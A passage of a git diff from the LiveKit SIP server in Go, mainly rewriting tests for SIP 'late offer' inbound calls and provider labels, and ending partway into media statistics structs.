BYE or terminates INVITE with busy status. +func (c *sipInbound) Close(ctx context.Context) { + ctx = context.WithoutCancel(ctx) + c.CloseWithStatus(ctx, Result{ + Code: sip.StatusBusyHere, + Status: "Rejected", + }, nil) +} + +// CloseWithStatus the inbound call cleanly. Depending on the call state it either sends BYE or terminates INVITE with a specified status. +func (c *sipInbound) CloseWithStatus(ctx context.Context, result Result, headers map[string]string) { + ctx = context.WithoutCancel(ctx) + c.mu.Lock() + defer c.mu.Unlock() + if c.inviteOk != nil { + // TODO: add cause for a failure, if any + c.sendBye(ctx, headers) + } else if c.inviteTx != nil { + c.sendStatus(ctx, result, headers) + } else { + c.drop() + } +} diff --git a/pkg/sip/inbound_test.go b/pkg/sip/inbound_test.go index 80582b77c..ed6d526ca 100644 --- a/pkg/sip/inbound_test.go +++ b/pkg/sip/inbound_test.go @@ -1,407 +1,407 @@ -// Copyright 2024 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "context" - "net/netip" - "testing" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/media-sdk/sdp" - "github.com/livekit/protocol/livekit" - "github.com/livekit/sip/pkg/stats" - "github.com/livekit/sipgo/sip" -) - -func TestProviderLabel(t *testing.T) { - cases := []struct { - name string - info *livekit.ProviderInfo - exp string - }{ - { - name: "nil", - info: nil, - exp: stats.ProviderUnknown, - }, - { - name: "internal", - info: &livekit.ProviderInfo{Name: "someCarrier", Type: livekit.ProviderType_PROVIDER_TYPE_INTERNAL}, - exp: "internal/somecarrier", - }, - { - name: "internal without a name", - info: &livekit.ProviderInfo{Type: livekit.ProviderType_PROVIDER_TYPE_INTERNAL}, - exp: "internal/unknown", - }, - { - name: "external", - info: &livekit.ProviderInfo{ - Id: "ST_customerTrunk", - Name: "Some Customer's Twilio Trunk", - Type: livekit.ProviderType_PROVIDER_TYPE_EXTERNAL, - }, - exp: "external", - }, - { - name: "external without a name", - info: &livekit.ProviderInfo{Type: livekit.ProviderType_PROVIDER_TYPE_EXTERNAL}, - exp: "external", - }, - { - name: "unknown type", - info: &livekit.ProviderInfo{Name: "someCarrier"}, - exp: stats.ProviderUnknown, - }, - } - for _, c := range cases { - t.Run(c.name, func(t *testing.T) { - require.Equal(t, c.exp, providerLabel(c.info)) - }) - } -} - -// lateOfferCall is an inbound call started with an offerless INVITE (RFC 3261 §13.2.1, "late offer"). -type lateOfferCall struct { - st *serviceTest - call *sipUADialogTest - invite *sip.Request - tx sip.ClientTransaction - byes <-chan *sipUARequest // BYE requests sent by the server for this dialog - - // Set by expectOffer. - ok *sip.Response // first 200 OK received - offer *sdp.Offer // SDP offer carried by the 200 OK - ic *inboundCall -} - -// inviteWithoutOffer sends an INVITE with no body. -func inviteWithoutOffer(t *testing.T, st *serviceTest) *lateOfferCall { - t.Helper() - - call := newTestCall(st.TestUA, false) - byes := call.RegisterRequestChannel(string(sip.BYE)) - t.Cleanup(func() { call.UnregisterRequestChannel(string(sip.BYE)) }) - - req := call.NewRequest(sip.INVITE) // no body, no Content-Type - tx, err := st.TestUA.Client.TransactionRequest(req) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - - return &lateOfferCall{ - st: st, - call: call, - invite: req, - tx: tx, - byes: byes, - } -} - -// requireOffer asserts that resp is a 200 OK carrying an SDP offer, and returns the parsed offer. -func requireOffer(t *testing.T, resp *sip.Response) *sdp.Offer { - t.Helper() - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "offerless INVITE should get 200 OK") - ct := resp.ContentType() - require.NotNil(t, ct, "200 OK for an offerless INVITE must declare a Content-Type") - require.Equal(t, contentTypeSDP, ct.Value()) - require.NotEmpty(t, resp.Body(), "200 OK for an offerless INVITE must carry an SDP offer") - offer, err := sdp.ParseOfferWith(defaultCodecs, resp.Body()) - require.NoError(t, err, "200 OK body should be a parsable SDP offer") - return offer -} - -// expectOffer waits for the final response to the INVITE and asserts it is a 200 OK with an SDP offer. -func (c *lateOfferCall) expectOffer(t *testing.T, ctx context.Context) { - t.Helper() - - resp := getFinalResponseOrFail(t, ctx, c.tx) - c.ok = resp - c.offer = requireOffer(t, resp) - - remoteTag, ok := resp.To().Params.Get("tag") - require.True(t, ok, "remote tag should be present") - c.call.SetRemoteTag(LocalTag(remoteTag)) - c.call.SetRemoteSDP(resp.Body()) - c.call.SetRouteSet(resp, true) - - c.st.Server.cmu.Lock() - c.ic, ok = c.st.Server.byLocalTag[c.call.remoteTag] - c.st.Server.cmu.Unlock() - require.True(t, ok, "call should be registered") -} - -// requireRetransmit asserts that resp is a retransmission of the 200 OK recorded by expectOffer. -func (c *lateOfferCall) requireRetransmit(t *testing.T, resp *sip.Response) { - t.Helper() - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "retransmission should be a 200 OK") - require.Equal(t, c.ok.To().Params.GetOr("tag", ""), resp.To().Params.GetOr("tag", ""), "retransmission should belong to the same dialog") - require.Equal(t, c.ok.Body(), resp.Body(), "retransmission should carry the same offer") -} - -// media returns the call's media port. -func (c *lateOfferCall) media() MediaPort { - c.ic.mmu.Lock() - defer c.ic.mmu.Unlock() - return c.ic.media -} - -// answer builds an SDP answer for the offer received in the 200 OK. -func (c *lateOfferCall) answer(t *testing.T, addr netip.AddrPort) []byte { - t.Helper() - ans, _, err := c.offer.Answer(addr.Addr(), int(addr.Port()), sdp.EncryptionNone) - require.NoError(t, err) - data, err := ans.SDP.Marshal() - require.NoError(t, err) - return data -} - -func (c *lateOfferCall) ack(t *testing.T, body []byte) { - t.Helper() - ack := sip.NewAckRequest(c.invite, c.ok, body) - if body != nil { - ack.AppendHeader(sip.NewHeader("Content-Type", contentTypeSDP)) - } - require.NoError(t, c.st.TestUA.Client.WriteRequest(ack)) -} - -// nextResponse waits for another response on the INVITE transaction, i.e. a retransmitted 200 OK. -func (c *lateOfferCall) nextResponse(t *testing.T, ctx context.Context) *sip.Response { - t.Helper() - select { - case <-ctx.Done(): - t.Fatalf("timed out waiting for a retransmitted response: %v", ctx.Err()) - case <-c.tx.Done(): - t.Fatal("INVITE transaction terminated while waiting for a retransmitted response") - case resp := <-c.tx.Responses(): - return resp - } - return nil -} - -// expectBye waits for the server to send a BYE for this dialog and answers it with 200 OK. -func (c *lateOfferCall) expectBye(t *testing.T, ctx context.Context) { - t.Helper() - select { - case <-ctx.Done(): - t.Fatalf("timed out waiting for BYE from server: %v", ctx.Err()) - case msg := <-c.byes: - c.answerBye(t, msg) - } -} - -// answerBye asserts that msg is a BYE for this dialog and answers it with 200 OK. -func (c *lateOfferCall) answerBye(t *testing.T, msg *sipUARequest) { - t.Helper() - require.NotNil(t, msg) - require.Equal(t, sip.BYE, msg.req.Method) - require.Equal(t, string(c.call.localTag), msg.req.To().Params.GetOr("tag", "")) - require.NoError(t, msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil))) -} - -// expectActive asserts that the server has negotiated media. -func (c *lateOfferCall) expectActive(t *testing.T, remote netip.AddrPort) { - t.Helper() - require.Eventually(t, func() bool { - return c.media().NegotiatedAudio() != nil - }, 5*time.Second, 10*time.Millisecond, "media should be negotiated") - require.Equal(t, remote, getMediaPortRemoteAddr(t, c.media()), "RTP destination should come from the answer in the ACK") - require.True(t, c.ic.cc.GotACK(), "server should have recorded the ACK") - require.Eventually(t, c.ic.started.IsBroken, 5*time.Second, 10*time.Millisecond, "call should become active") - require.False(t, c.ic.done.Load(), "call should still be up") -} - -// expectClosedWithoutMedia asserts the server tore the call down without ever -// having negotiated media. -func (c *lateOfferCall) expectClosedWithoutMedia(t *testing.T) { - t.Helper() - require.Eventually(t, c.ic.done.Load, 5*time.Second, 10*time.Millisecond, "call should be closed") - require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated without a valid answer") -} - -// reinvite sends an in-dialog INVITE with a fresh offer from the caller and returns the final response. -// sipgo ACKs non-2xx responses itself; a 2xx is ACKed here. -func (c *lateOfferCall) reinvite(t *testing.T, ctx context.Context) *sip.Response { - t.Helper() - req, _, err := c.call.Invite(nil) - require.NoError(t, err) - tx, err := c.st.TestUA.Client.TransactionRequest(req) - require.NoError(t, err) - t.Cleanup(tx.Terminate) - resp := getFinalResponseOrFail(t, ctx, tx) - if resp.StatusCode < 300 { - require.NoError(t, c.st.TestUA.Client.WriteRequest(sip.NewAckRequest(req, resp, nil))) - } - return resp -} - -// hangup ends an established call from the caller side. -func (c *lateOfferCall) hangup(t *testing.T) { - t.Helper() - resp := c.call.TransactionRequest(t, c.call.NewRequest(sip.BYE)) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "BYE should get 200 OK") -} - -func TestInboundLateOfferDisabled(t *testing.T) { - // No feature flags: late offer is off for the project. - st := NewServiceTest(t, nil) - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - resp := getFinalResponseOrFail(t, ctx, c.tx) - // Same rejection as before late offer support: negotiating an empty offer fails. - require.Equal(t, sip.StatusBadRequest, resp.StatusCode, "offerless INVITE should be rejected when late offer is disabled") - require.Empty(t, resp.Body(), "rejection must not carry an offer") - - // The response is sent before the call is deregistered. - require.Eventually(t, func() bool { - st.Server.cmu.RLock() - defer st.Server.cmu.RUnlock() - return len(st.Server.byLocalTag) == 0 - }, 5*time.Second, 10*time.Millisecond, "rejected call should be deregistered") -} - -func TestInboundLateOffer(t *testing.T) { - st := NewServiceTest(t, nil) - // Enable late offer at the project level. - st.Server.SetHandler(&TestHandler{FeatureFlags: map[string]string{lateOfferFeatureFlag: "true"}}) - callerRTP := netip.MustParseAddrPort("127.0.0.1:2827") - - t.Run("success", func(t *testing.T) { - t.Parallel() - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - - // The offer must point at the media port allocated for this call. - require.Equal(t, getMediaPort(t, c.media()).Port(), int(c.offer.Addr.Port()), "offer should advertise the call's RTP port") - // Nothing can be negotiated until the answer arrives. - require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated before the ACK") - - c.ack(t, c.answer(t, callerRTP)) - c.expectActive(t, callerRTP) - t.Cleanup(func() { c.hangup(t) }) - - // Once ACKed, the 200 OK must not be retransmitted. - expectNoResponse(t, c.tx) - }) - - t.Run("delayed_ack", func(t *testing.T) { - t.Parallel() - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - - // Withhold the ACK: the UAS must retransmit the 200 OK, with the same offer. - c.requireRetransmit(t, c.nextResponse(t, ctx)) - require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated before the ACK") - - c.ack(t, c.answer(t, callerRTP)) - c.expectActive(t, callerRTP) - t.Cleanup(func() { c.hangup(t) }) - - expectNoResponse(t, c.tx) - }) - - t.Run("ack_never_arrives", func(t *testing.T) { - t.Parallel() - // UDP retries back off from 250ms to 3s; giving up takes ~10s. - ctx, cancel := context.WithTimeout(t.Context(), 30*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - - // Count 200 OK retransmissions until the server gives up and sends BYE. - retransmits := 0 - loop: - for { - select { - case <-ctx.Done(): - t.Fatalf("timed out waiting for the server to give up on the ACK: %v", ctx.Err()) - case resp := <-c.tx.Responses(): - c.requireRetransmit(t, resp) - retransmits++ - case msg := <-c.byes: - c.answerBye(t, msg) - break loop - } - } - require.GreaterOrEqual(t, retransmits, 2, "200 OK should be retransmitted while waiting for the ACK") - require.False(t, c.ic.cc.GotACK(), "server received unexpected ACK") - c.expectClosedWithoutMedia(t) - }) - - t.Run("ack_without_answer", func(t *testing.T) { - t.Parallel() - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - c.ack(t, nil) - - c.expectBye(t, ctx) - c.expectClosedWithoutMedia(t) - }) - - t.Run("ack_with_invalid_answer", func(t *testing.T) { - t.Parallel() - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - c.ack(t, []byte("invalid SDP answer")) - - c.expectBye(t, ctx) - c.expectClosedWithoutMedia(t) - }) - - t.Run("reinvite_before_ack", func(t *testing.T) { - t.Parallel() - ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) - defer cancel() - - c := inviteWithoutOffer(t, st) - c.expectOffer(t, ctx) - - // Our offer is still unanswered: a re-INVITE cannot be negotiated yet. - resp := c.reinvite(t, ctx) - require.Equal(t, statusRequestPending, resp.StatusCode, "re-INVITE before the late answer should get 491") - require.Nil(t, c.media().NegotiatedAudio(), "rejected re-INVITE must not negotiate media") - - // The pending exchange still completes normally. - c.ack(t, c.answer(t, callerRTP)) - c.expectActive(t, callerRTP) - t.Cleanup(func() { c.hangup(t) }) - - // With the exchange complete, re-INVITEs are accepted again, and the reply must be the - // negotiated SDP rather than the multi-codec offer we sent in the original 200 OK. - resp = c.reinvite(t, ctx) - require.Equal(t, sip.StatusCode(200), resp.StatusCode, "re-INVITE after the late answer should get 200 OK") - localSDP, err := c.media().GetLocalSDP() - require.NoError(t, err) - require.Equal(t, localSDP, resp.Body(), "re-INVITE reply should carry the negotiated local SDP") - require.NotEqual(t, c.ok.Body(), resp.Body(), "re-INVITE reply must not echo the original offer") - }) -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "context" + "net/netip" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/protocol/livekit" + "github.com/livekit/sip/pkg/stats" + "github.com/livekit/sipgo/sip" +) + +func TestProviderLabel(t *testing.T) { + cases := []struct { + name string + info *livekit.ProviderInfo + exp string + }{ + { + name: "nil", + info: nil, + exp: stats.ProviderUnknown, + }, + { + name: "internal", + info: &livekit.ProviderInfo{Name: "someCarrier", Type: livekit.ProviderType_PROVIDER_TYPE_INTERNAL}, + exp: "internal/somecarrier", + }, + { + name: "internal without a name", + info: &livekit.ProviderInfo{Type: livekit.ProviderType_PROVIDER_TYPE_INTERNAL}, + exp: "internal/unknown", + }, + { + name: "external", + info: &livekit.ProviderInfo{ + Id: "ST_customerTrunk", + Name: "Some Customer's Twilio Trunk", + Type: livekit.ProviderType_PROVIDER_TYPE_EXTERNAL, + }, + exp: "external", + }, + { + name: "external without a name", + info: &livekit.ProviderInfo{Type: livekit.ProviderType_PROVIDER_TYPE_EXTERNAL}, + exp: "external", + }, + { + name: "unknown type", + info: &livekit.ProviderInfo{Name: "someCarrier"}, + exp: stats.ProviderUnknown, + }, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + require.Equal(t, c.exp, providerLabel(c.info)) + }) + } +} + +// lateOfferCall is an inbound call started with an offerless INVITE (RFC 3261 §13.2.1, "late offer"). +type lateOfferCall struct { + st *serviceTest + call *sipUADialogTest + invite *sip.Request + tx sip.ClientTransaction + byes <-chan *sipUARequest // BYE requests sent by the server for this dialog + + // Set by expectOffer. + ok *sip.Response // first 200 OK received + offer *sdp.Offer // SDP offer carried by the 200 OK + ic *inboundCall +} + +// inviteWithoutOffer sends an INVITE with no body. +func inviteWithoutOffer(t *testing.T, st *serviceTest) *lateOfferCall { + t.Helper() + + call := newTestCall(st.TestUA, false) + byes := call.RegisterRequestChannel(string(sip.BYE)) + t.Cleanup(func() { call.UnregisterRequestChannel(string(sip.BYE)) }) + + req := call.NewRequest(sip.INVITE) // no body, no Content-Type + tx, err := st.TestUA.Client.TransactionRequest(req) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + + return &lateOfferCall{ + st: st, + call: call, + invite: req, + tx: tx, + byes: byes, + } +} + +// requireOffer asserts that resp is a 200 OK carrying an SDP offer, and returns the parsed offer. +func requireOffer(t *testing.T, resp *sip.Response) *sdp.Offer { + t.Helper() + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "offerless INVITE should get 200 OK") + ct := resp.ContentType() + require.NotNil(t, ct, "200 OK for an offerless INVITE must declare a Content-Type") + require.Equal(t, contentTypeSDP, ct.Value()) + require.NotEmpty(t, resp.Body(), "200 OK for an offerless INVITE must carry an SDP offer") + offer, err := sdp.ParseOfferWith(defaultCodecs, resp.Body()) + require.NoError(t, err, "200 OK body should be a parsable SDP offer") + return offer +} + +// expectOffer waits for the final response to the INVITE and asserts it is a 200 OK with an SDP offer. +func (c *lateOfferCall) expectOffer(t *testing.T, ctx context.Context) { + t.Helper() + + resp := getFinalResponseOrFail(t, ctx, c.tx) + c.ok = resp + c.offer = requireOffer(t, resp) + + remoteTag, ok := resp.To().Params.Get("tag") + require.True(t, ok, "remote tag should be present") + c.call.SetRemoteTag(LocalTag(remoteTag)) + c.call.SetRemoteSDP(resp.Body()) + c.call.SetRouteSet(resp, true) + + c.st.Server.cmu.Lock() + c.ic, ok = c.st.Server.byLocalTag[c.call.remoteTag] + c.st.Server.cmu.Unlock() + require.True(t, ok, "call should be registered") +} + +// requireRetransmit asserts that resp is a retransmission of the 200 OK recorded by expectOffer. +func (c *lateOfferCall) requireRetransmit(t *testing.T, resp *sip.Response) { + t.Helper() + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "retransmission should be a 200 OK") + require.Equal(t, c.ok.To().Params.GetOr("tag", ""), resp.To().Params.GetOr("tag", ""), "retransmission should belong to the same dialog") + require.Equal(t, c.ok.Body(), resp.Body(), "retransmission should carry the same offer") +} + +// media returns the call's media port. +func (c *lateOfferCall) media() MediaPort { + c.ic.mmu.Lock() + defer c.ic.mmu.Unlock() + return c.ic.media +} + +// answer builds an SDP answer for the offer received in the 200 OK. +func (c *lateOfferCall) answer(t *testing.T, addr netip.AddrPort) []byte { + t.Helper() + ans, _, err := c.offer.Answer(addr.Addr(), int(addr.Port()), sdp.EncryptionNone) + require.NoError(t, err) + data, err := ans.SDP.Marshal() + require.NoError(t, err) + return data +} + +func (c *lateOfferCall) ack(t *testing.T, body []byte) { + t.Helper() + ack := sip.NewAckRequest(c.invite, c.ok, body) + if body != nil { + ack.AppendHeader(sip.NewHeader("Content-Type", contentTypeSDP)) + } + require.NoError(t, c.st.TestUA.Client.WriteRequest(ack)) +} + +// nextResponse waits for another response on the INVITE transaction, i.e. a retransmitted 200 OK. +func (c *lateOfferCall) nextResponse(t *testing.T, ctx context.Context) *sip.Response { + t.Helper() + select { + case <-ctx.Done(): + t.Fatalf("timed out waiting for a retransmitted response: %v", ctx.Err()) + case <-c.tx.Done(): + t.Fatal("INVITE transaction terminated while waiting for a retransmitted response") + case resp := <-c.tx.Responses(): + return resp + } + return nil +} + +// expectBye waits for the server to send a BYE for this dialog and answers it with 200 OK. +func (c *lateOfferCall) expectBye(t *testing.T, ctx context.Context) { + t.Helper() + select { + case <-ctx.Done(): + t.Fatalf("timed out waiting for BYE from server: %v", ctx.Err()) + case msg := <-c.byes: + c.answerBye(t, msg) + } +} + +// answerBye asserts that msg is a BYE for this dialog and answers it with 200 OK. +func (c *lateOfferCall) answerBye(t *testing.T, msg *sipUARequest) { + t.Helper() + require.NotNil(t, msg) + require.Equal(t, sip.BYE, msg.req.Method) + require.Equal(t, string(c.call.localTag), msg.req.To().Params.GetOr("tag", "")) + require.NoError(t, msg.tx.Respond(sip.NewResponseFromRequest(msg.req, 200, "OK", nil))) +} + +// expectActive asserts that the server has negotiated media. +func (c *lateOfferCall) expectActive(t *testing.T, remote netip.AddrPort) { + t.Helper() + require.Eventually(t, func() bool { + return c.media().NegotiatedAudio() != nil + }, 5*time.Second, 10*time.Millisecond, "media should be negotiated") + require.Equal(t, remote, getMediaPortRemoteAddr(t, c.media()), "RTP destination should come from the answer in the ACK") + require.True(t, c.ic.cc.GotACK(), "server should have recorded the ACK") + require.Eventually(t, c.ic.started.IsBroken, 5*time.Second, 10*time.Millisecond, "call should become active") + require.False(t, c.ic.done.Load(), "call should still be up") +} + +// expectClosedWithoutMedia asserts the server tore the call down without ever +// having negotiated media. +func (c *lateOfferCall) expectClosedWithoutMedia(t *testing.T) { + t.Helper() + require.Eventually(t, c.ic.done.Load, 5*time.Second, 10*time.Millisecond, "call should be closed") + require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated without a valid answer") +} + +// reinvite sends an in-dialog INVITE with a fresh offer from the caller and returns the final response. +// sipgo ACKs non-2xx responses itself; a 2xx is ACKed here. +func (c *lateOfferCall) reinvite(t *testing.T, ctx context.Context) *sip.Response { + t.Helper() + req, _, err := c.call.Invite(nil) + require.NoError(t, err) + tx, err := c.st.TestUA.Client.TransactionRequest(req) + require.NoError(t, err) + t.Cleanup(tx.Terminate) + resp := getFinalResponseOrFail(t, ctx, tx) + if resp.StatusCode < 300 { + require.NoError(t, c.st.TestUA.Client.WriteRequest(sip.NewAckRequest(req, resp, nil))) + } + return resp +} + +// hangup ends an established call from the caller side. +func (c *lateOfferCall) hangup(t *testing.T) { + t.Helper() + resp := c.call.TransactionRequest(t, c.call.NewRequest(sip.BYE)) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "BYE should get 200 OK") +} + +func TestInboundLateOfferDisabled(t *testing.T) { + // No feature flags: late offer is off for the project. + st := NewServiceTest(t, nil) + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + resp := getFinalResponseOrFail(t, ctx, c.tx) + // Same rejection as before late offer support: negotiating an empty offer fails. + require.Equal(t, sip.StatusBadRequest, resp.StatusCode, "offerless INVITE should be rejected when late offer is disabled") + require.Empty(t, resp.Body(), "rejection must not carry an offer") + + // The response is sent before the call is deregistered. + require.Eventually(t, func() bool { + st.Server.cmu.RLock() + defer st.Server.cmu.RUnlock() + return len(st.Server.byLocalTag) == 0 + }, 5*time.Second, 10*time.Millisecond, "rejected call should be deregistered") +} + +func TestInboundLateOffer(t *testing.T) { + st := NewServiceTest(t, nil) + // Enable late offer at the project level. + st.Server.SetHandler(&TestHandler{FeatureFlags: map[string]string{lateOfferFeatureFlag: "true"}}) + callerRTP := netip.MustParseAddrPort("127.0.0.1:2827") + + t.Run("success", func(t *testing.T) { + t.Parallel() + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + + // The offer must point at the media port allocated for this call. + require.Equal(t, getMediaPort(t, c.media()).Port(), int(c.offer.Addr.Port()), "offer should advertise the call's RTP port") + // Nothing can be negotiated until the answer arrives. + require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated before the ACK") + + c.ack(t, c.answer(t, callerRTP)) + c.expectActive(t, callerRTP) + t.Cleanup(func() { c.hangup(t) }) + + // Once ACKed, the 200 OK must not be retransmitted. + expectNoResponse(t, c.tx) + }) + + t.Run("delayed_ack", func(t *testing.T) { + t.Parallel() + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + + // Withhold the ACK: the UAS must retransmit the 200 OK, with the same offer. + c.requireRetransmit(t, c.nextResponse(t, ctx)) + require.Nil(t, c.media().NegotiatedAudio(), "media must not be negotiated before the ACK") + + c.ack(t, c.answer(t, callerRTP)) + c.expectActive(t, callerRTP) + t.Cleanup(func() { c.hangup(t) }) + + expectNoResponse(t, c.tx) + }) + + t.Run("ack_never_arrives", func(t *testing.T) { + t.Parallel() + // UDP retries back off from 250ms to 3s; giving up takes ~10s. + ctx, cancel := context.WithTimeout(t.Context(), 30*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + + // Count 200 OK retransmissions until the server gives up and sends BYE. + retransmits := 0 + loop: + for { + select { + case <-ctx.Done(): + t.Fatalf("timed out waiting for the server to give up on the ACK: %v", ctx.Err()) + case resp := <-c.tx.Responses(): + c.requireRetransmit(t, resp) + retransmits++ + case msg := <-c.byes: + c.answerBye(t, msg) + break loop + } + } + require.GreaterOrEqual(t, retransmits, 2, "200 OK should be retransmitted while waiting for the ACK") + require.False(t, c.ic.cc.GotACK(), "server received unexpected ACK") + c.expectClosedWithoutMedia(t) + }) + + t.Run("ack_without_answer", func(t *testing.T) { + t.Parallel() + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + c.ack(t, nil) + + c.expectBye(t, ctx) + c.expectClosedWithoutMedia(t) + }) + + t.Run("ack_with_invalid_answer", func(t *testing.T) { + t.Parallel() + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + c.ack(t, []byte("invalid SDP answer")) + + c.expectBye(t, ctx) + c.expectClosedWithoutMedia(t) + }) + + t.Run("reinvite_before_ack", func(t *testing.T) { + t.Parallel() + ctx, cancel := context.WithTimeout(t.Context(), 10*time.Second) + defer cancel() + + c := inviteWithoutOffer(t, st) + c.expectOffer(t, ctx) + + // Our offer is still unanswered: a re-INVITE cannot be negotiated yet. + resp := c.reinvite(t, ctx) + require.Equal(t, statusRequestPending, resp.StatusCode, "re-INVITE before the late answer should get 491") + require.Nil(t, c.media().NegotiatedAudio(), "rejected re-INVITE must not negotiate media") + + // The pending exchange still completes normally. + c.ack(t, c.answer(t, callerRTP)) + c.expectActive(t, callerRTP) + t.Cleanup(func() { c.hangup(t) }) + + // With the exchange complete, re-INVITEs are accepted again, and the reply must be the + // negotiated SDP rather than the multi-codec offer we sent in the original 200 OK. + resp = c.reinvite(t, ctx) + require.Equal(t, sip.StatusCode(200), resp.StatusCode, "re-INVITE after the late answer should get 200 OK") + localSDP, err := c.media().GetLocalSDP() + require.NoError(t, err) + require.Equal(t, localSDP, resp.Body(), "re-INVITE reply should carry the negotiated local SDP") + require.NotEqual(t, c.ok.Body(), resp.Body(), "re-INVITE reply must not echo the original offer") + }) +} diff --git a/pkg/sip/media.go b/pkg/sip/media.go index 632b552d1..fc87a7710 100644 --- a/pkg/sip/media.go +++ b/pkg/sip/media.go @@ -1,397 +1,397 @@ -// Copyright 2023 LiveKit, Inc. -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package sip - -import ( - "encoding/json" - "fmt" - "strconv" - "sync/atomic" - "time" - - prtp "github.com/pion/rtp" - - msdk "github.com/livekit/media-sdk" - - "github.com/livekit/media-sdk/rtp" - - "github.com/livekit/protocol/logger" - "github.com/livekit/sip/pkg/stats" -) - -var _ json.Marshaler = (*Stats)(nil) - -type Stats struct { - Port PortStats - Room RoomStats - Closed atomic.Bool -} - -type StatsSnapshot struct { - Port PortStatsSnapshot `json:"port"` - Room RoomStatsSnapshot `json:"room"` - Mixer MixerStatsSnapshot `json:"mixer"` - Closed bool `json:"closed"` -} - -type MixerStatsSnapshot struct { - Tracks int64 `json:"tracks"` - TracksTotal uint64 `json:"tracks_total"` - Restarts uint64 `json:"restarts"` - TimingResets uint64 `json:"timing_resets"` - - Mixes uint64 `json:"mixes"` - TimedMixes uint64 `json:"mixes_timed"` - JumpMixes uint64 `json:"mixes_jump"` - ZeroMixes uint64 `json:"mixes_zero"` - NegativeMixes uint64 `json:"mixes_negative"` - - InputSamples uint64 `json:"input_samples"` - InputFrames uint64 `json:"input_frames"` - InputSamplesDropped uint64 `json:"input_samples_dropped"` - InputFramesDropped uint64 `json:"input_frames_dropped"` - - MixedSamples uint64 `json:"mixed_samples"` - MixedFrames uint64 `json:"mixed_frames"` - - OutputSamples uint64 `json:"output_samples"` - OutputFrames uint64 `json:"output_frames"` - - WriteErrors uint64 `json:"write_errors"` - BlockedMixes uint64 `json:"blocked_mixes"` -} - -func (s *Stats) Update() { - if s == nil { - return - } - s.Port.Update() - s.Room.Update() -} - -func (s *Stats) Load() StatsSnapshot { - p := &s.Port - r := &s.Room - m := &r.Mixer - return StatsSnapshot{ - Port: p.Load(), - Room: r.Load(), - Mixer: MixerStatsSnapshot{ - Tracks: m.Tracks.Load(), - TracksTotal: m.TracksTotal.Load(), - Restarts: m.Restarts.Load(), - TimingResets: m.TimingResets.Load(), - Mixes: m.Mixes.Load(), - TimedMixes: m.TimedMixes.Load(), - JumpMixes: m.JumpMixes.Load(), - ZeroMixes: m.ZeroMixes.Load(), - NegativeMixes: m.NegativeMixes.Load(), - InputSamples: m.InputSamples.Load(), - InputFrames: m.InputFrames.Load(), - InputFramesDropped: m.InputFramesDropped.Load(), - InputSamplesDropped: m.InputSamplesDropped.Load(), - MixedSamples: m.MixedSamples.Load(), - MixedFrames: m.MixedFrames.Load(), - OutputSamples: m.OutputSamples.Load(), - OutputFrames: m.OutputFrames.Load(), - WriteErrors: 